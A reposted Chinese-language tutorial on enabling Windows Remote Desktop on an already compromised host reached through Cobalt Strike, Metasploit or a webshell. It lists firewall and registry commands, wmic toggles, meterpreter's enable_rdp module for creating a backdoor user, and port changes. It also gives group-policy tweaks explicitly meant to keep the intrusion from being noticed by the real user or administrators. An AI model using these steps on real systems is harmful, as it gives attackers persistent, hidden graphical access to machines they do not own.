转载
Win远程桌面
很多情况下,还是远程桌面操作舒服,所以我们可以尝试通过CS、MSF或webshell的命令执行打开主机的远程桌面功能。
-
注意几点
开启桌面最终结果都是操作注册表,所以需要管理员权限 并且主机用户是空密码,那就开启不了远程桌面,需要给主机用户添加密码 3389是win下的远程桌面端口,需要防火墙的允许。
netsh advfirewall firewall add rule name="remote Desktop" protocol=TCP dir=in localport=3389 action=allow
命令行
注册表操作,修改fDenyTSConnections项的值
-
开启远程登录
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f 允许多个用户同时远程登录 reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
-
关闭远程登录
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f
wmic命令
也是修改fDenyTSConnections项的值
-
开启远程登录
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1
-
关闭远程登录
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 0
MSF命令
-
在拥有一个会话的前提下,启用远程桌面
meterpreter > run post/windows/manage/enable_rdp
-
创建一个新用户来远程连接桌面
meterpreter > run post/windows/manage/enable_rdp USERNAME=test PASSWORD=123456
-
设置远程桌面端口
有时候主机远程登录端口不是3389,可以查询端口是多少
```s
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber
```
有时候主机远程登录端口不是3389,可以修改为3389,也可以改为其他值。但改了端口就容易被管理员发现了
```s
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f
```
-
查看端口是否开启
netstat -an|find "3389"
多人登录一个账号
有时候,远程登录同一个账户会把已存在的会话顶下线,这样不就暴露我们登陆主机了吗 只针对winserver啊,图形化操作,运行gpedit.msc组策略
找到windows组件–远程桌面服务–远程桌面会话主机–连接
改改几个配置
拒绝将已经登录到控制台会话的管理员注销—启用
限制连接的数量—选择启用,配置‘允许的RD最大连接数’为好几个
将远程桌面服务用户限制到单独的远程桌面服务会话—禁用
管理员权限下更新组策略
gpupdate /force
然后就可以远程登录同一个账户了。
或者直接修改注册表
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
也能达到相同效果